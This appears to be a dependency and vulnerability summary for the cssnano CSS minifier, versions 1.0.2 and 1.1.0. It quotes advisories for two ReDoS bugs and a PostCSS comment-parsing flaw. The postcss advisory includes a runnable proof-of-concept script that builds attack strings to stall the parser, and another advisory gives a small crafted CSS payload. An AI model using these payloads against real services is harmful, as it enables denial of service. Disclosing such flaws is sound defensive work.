cssnano, a modular CSS minifier built upon the PostCSS ecosystem, saw a release of version 1.1.0 following closely after version 1.0.2. Both iterations share a foundation of dependencies including postcss, minimist, postcss-calc, and various PostCSS plugins tailored for specific minification tasks like managing z-indexes, color optimization, font family handling, rule merging, and more. Developers leveraging either version benefit from a comprehensive suite of tools designed to reduce CSS file sizes for improved website performance.
A notable distinction between the versions lies in the updated postcss-convert-values dependency. Version 1.1.0 utilizes postcss-convert-values at version 1.2.1, while version 1.0.2 relies on version 1.1.1. This indicates improvements or bug fixes in value conversions within the newer version that might affect how length units, time units or colors are optimized. Though seemingly minor, such updates can subtly influence the output of the minification process, impacting the final CSS. Developers prioritizing the latest optimizations and bug fixes within value conversion should opt for version 1.1.0. Ultimately, both versions offer robust CSS minification capabilities, appealing to developers seeking granular control and efficient size reduction in their stylesheets. They have identical dev dependencies and the release dates are pretty close, about one week apart.
All the vulnerabilities related to the version 1.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.